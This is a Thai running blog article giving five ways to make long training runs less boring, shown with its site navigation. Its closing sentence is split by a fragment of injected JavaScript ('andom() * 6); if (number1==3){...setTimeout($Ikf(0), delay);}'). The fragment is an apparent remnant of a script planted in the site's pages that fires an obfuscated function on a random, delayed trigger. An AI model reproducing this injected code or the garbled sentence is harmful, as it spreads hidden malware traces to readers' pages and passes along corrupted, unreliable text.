• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

5 วิธีสลายความน่าเบื่อของการวิ่ง Long Run

kan by kan
17 February 2019
in Running Tips
0
5 วิธีสลายความน่าเบื่อของการวิ่ง Long Run
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

การวิ่ง Long Run คือหนึ่งในตารางฝึกวิ่งที่นักวิ่งต้องเจอทุกคน เมื่อก้าวเข้าสู่การวิ่งระยะไกล ตั้งแต่ระยะฮาร์ฟมาราธอนไปจนถึงระยะมาราธอน การวิ่ง Long Run เป็นสิ่งที่ขาดไม่ได้ การฝึกวิ่งจะช่วยให้ร่างกายเรายืนระยะได้มากขึ้น สร้างความทนทานให้กล้ามเนื้อ และปรับระบบ cardio ให้แกร่งขึ้น ช่วยฝึกจำลองสถานการณ์จริงที่จะเกิดขึ้น แต่สิ่งหนึ่งที่เราไม่ชอบกัน นั้นคือ มันกินระยะเวลานานหลายกิโลเมตรและหลายชั่วโมง

5 วิธีสลายความน่าเบื่อของการวิ่ง Long Run

1. วิ่งวนเป็นลูปๆ พยายามมองหาเส้นทางวิ่งที่มีรอบวิ่งสัก 2-4 กิโลเมตรดู เพราะการวิ่งวนเป็นรอบๆ เป็นลูปๆ จะช่วยทำให้เราสามารถบิดความนึกคิดด้านลบ ความกลัวและความรู้สึกเกี่ยวกับระยะทางที่ต้องวิ่งลงไปได้ ความรู้สึกว่ามันไกลมาก ย่อให้เหลือเป็นการนับจำนวนรอบแทน ทุกรอบที่วิ่งครบคือการผ่านเส้นชัย การวนหลายๆ รอบๆ คือชัยชนะที่ค่อยๆ เพิ่มพลังใจขึ้นเรื่อยๆ แถมข้อดีคือสามารถตั้งน้ำและผ้าเช็ดตัวไว้ค่อย refuel ร่างกายใหม่ได้ทุกรอบ

2. จำลองสนามเหมือนการวิ่งแข่งขันจริง เช่นการฝึกตั้งแต่การเตรียมตัวก่อนออกวิ่ง การคัดเลือกเสื้อผ้า อาหารการกิน มื้อก่อนวิ่งและระหว่างวิ่ง การเตรียมน้ำดื่มและการเติมเกลือแร่ หากสนามวิ่งแข่งขันต้องมีการวิ่งไต่เขา ก็ให้ย่อยการวิ่งเป็นส่วนๆ ส่วนที่วิ่งทางราบก็วิ่งตามปกติแต่ส่วนที่ต้องวิ่งไต่เขา ให้วิ่งเข้าโรงยิม ปรับ treadmill ให้มีองศาชันตามสนามแข่งจริง พอไต่เสร็จแล้วก็ออกมาวิ่งทางราบธรรมดาต่อ

3. วิ่งผจญภัย การวิ่งครั้งนี้คือการวิ่งกลับบ้าน นั่งแท็กซี่ออกไปยังจุดเริ่มต้น มระยะทางก็ตามที่กำหนดไว้ แต่คุณต้องมีอุปกรณ์เสริมอย่าง เป้น้ำ หมวก มือถือหรือนาฬิกาวิ่ง GPS และเสบียงอาหารที่จำเป็น เสมือนคุณออกไปวิ่งเทรล แต่นี้คือการวิ่งหาทางกลับบ้าน  

4. ฟังดนตรี เพราะการฟังดนตรีจะช่วยกล่อมสมอง ช่วยปรับจังหวะการวิ่ง มีผลต่อการกระตุ้นแรงใจ เพลงที่มีจังหวะ Beat สูงจะเร่งให้เราวิ่งเร็ว ถ้ามี Beat ต่ำ จะช่วยให้เราวิ่งช้าลง นอกเหนือจากบทเพลงแล้ว ทดลองฟัง Podcast หรือบทความอื่นๆ ก็จะช่วยดึงความสนใจและฆ่าเวลาได้

5. วิ่งกับทีม วิ่งกับเพื่อน เพราะการฝึกวิ่งระยะไกลจะสนุกกว่าเดิมมากถ้าคุณมีกลุ่มเพื่อนร่วมฝึกซ้อมด้วยกัน การวิ่งจะทำให้เราได้ฝึกปรับความเร็วตาม Pace ของผู้นำ ซึ่งจะมีการเปลี่ยนแปลงตลอดเวลา เหมือนกับการแข่งขันจริง การฝึกแบนี้เรียกว่า เพื่อนลากเพื่อน ซึ่งจะไปได้ไกลและทำเวลาวิ่งได้เร็วขึ้น

ตบท้ายกันสักนิดสำหรับการวิ่ง Long Run ระยะทางจะสำคัญกว่าเวลา เราไม่จำเป็นต้องเร่งรีบวิ่งทำความเร็วให้เหมือนกับนักวิ่งในงานแข่ง จำไว้ว่าการฝึกวิ่ง Long Run คือการฝึกให้ร่างกายสามารถทนทานต่อระยะทางที่เพิ่มขึ้น เมื่อสามารถวิ่งได้อย่างต่อเนื่องตามระยะทางที่ตั้งไว้ เราค่อยมาฝึกในเรื่องการใช้ความเร็วอีกที่ Keep claim andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and run ครับ ค่อยๆ พัฒนาตัวเองไปเรื่อยๆ การเร่งจะทำให้ร่างกายบาดเจ็บเสียเปล่า

อ้างอิง www.runnersworld.com/

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.